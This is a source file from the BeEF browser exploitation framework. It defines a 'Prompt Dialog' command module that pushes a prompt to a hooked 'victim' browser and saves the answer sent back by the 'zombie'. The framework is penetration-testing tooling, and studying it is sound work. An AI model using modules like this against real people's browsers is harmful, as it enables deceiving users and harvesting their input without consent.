Files
beef/modules/misc/prompt_dialog/module.rb
scotty.b.brown@gmail.com 35f62714b1 Moving nextgen from a branch to the trunk!!!
git-svn-id: https://beef.googlecode.com/svn/trunk@908 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
2011-04-20 07:54:56 +00:00

34 lines
696 B
Ruby

class Prompt_dialog < BeEF::Core::Command
def initialize
super({
'Name' => 'Prompt Dialog',
'Description' => 'Sends a prompt dialog to the victim',
'Category' => 'Misc',
'Author' => 'bm',
'Data' => [
{'name' =>'question', 'ui_label'=>'Prompt text'}
],
'File' => __FILE__
})
set_target({
'verified_status' => VERIFIED_USER_NOTIFY,
'browser_name' => ALL
})
use_template!
end
#
# This method is being called when a zombie sends some
# data back to the framework.
#
def callback
# return if @datastore['answer']==''
save({'answer' => @datastore['answer']})
end
end